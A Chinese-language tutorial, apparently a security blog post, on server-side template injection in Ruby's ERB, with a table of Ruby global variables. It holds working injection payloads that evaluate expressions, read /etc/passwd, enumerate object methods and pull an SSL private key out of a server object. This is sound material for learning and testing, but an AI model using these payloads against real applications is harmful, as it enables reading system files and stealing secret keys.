Ruby的ERB模板注入
基本语法
- <%写逻辑脚本(Ruby语法)%>
- <%=直接输出变量值或运算结果%>
1
2
3
4
5
6
7
8
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())
|
这样会输出5和4
如果x可控,即可实现常见的ssti
1
2
3
4
5
6
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
|
还可以进行文件读取
1
2
3
4
5
6
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('/etc/passwd').read
puts erb_object.result(binding())
|
枚举当前类的可用方法
1
2
3
4
5
6
|
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())
|
ruby的全局变量
更准确的这个链接globals - Documentation for Ruby 2.4.0
Ruby全局变量 |
中文释义 |
$! |
错误信息 |
$@ |
错误发生的位置 |
$0 |
正在执行的程序的名称 |
$& |
成功匹配的字符串 |
$/ |
输入分隔符,默认为换行符 |
$\ |
输出记录分隔符(print和IO) |
$. |
上次读取的文件的当前输入行号 |
$; $-F |
默认字段分隔符 |
$, |
输入字符串分隔符,连接多个字符串时用到 |
$= |
不区分大小写 |
$~ |
最后一次匹配数据 |
$` |
最后一个成功匹配的字符串左侧的字符串 |
$’ |
最后一个成功匹配的字符串右侧的字符串 |
$+ |
最后一个括号匹配内容 |
$1~$9 |
各组匹配结果 |
$< ARGF |
命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin) |
$> |
打印的默认输出 |
$_ |
从输入设备中读取的最后一行 |
$* ARGV |
命令行参数 |
$$ |
运行此脚本的Ruby的进程号 |
$? |
最后执行的子进程的状态 |
$: $-I |
加载的二进制模块(库)的路径 |
$“ |
数组包含的需要加载的库的名字 |
$DEBUG $-d |
调试标志,由-d开关设置 |
$LOADED_FEATURES |
$“的别名 |
$FILENAME |
来自$<的当前输入文件 |
$LOAD_PATH |
$: |
$stderr |
当前标准误差输出 |
$stdin |
当前标准输入 |
$stdout |
当前标准输出 |
$VERBOSE $-v |
详细标志,由-w或-v开关设置 |
$-0 |
$/ |
$-a |
只读 |
$-i |
在in-place-edit模式下,此变量保存扩展名 |
NIL |
0本身 |
ENV |
当前环境变量 |
RUBY_VERSION |
Ruby版本 |
RUBY_RELEASE_DATE |
发布日期 |
RUBY_PLATFORM |
平台标识符 |
常用payload
1
2
3
4
5
6
7
8
9
10
|
<%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %> //枚举该对象可用的属性及方法
<%= self.class.name %> //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %> //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %> //提取key值
|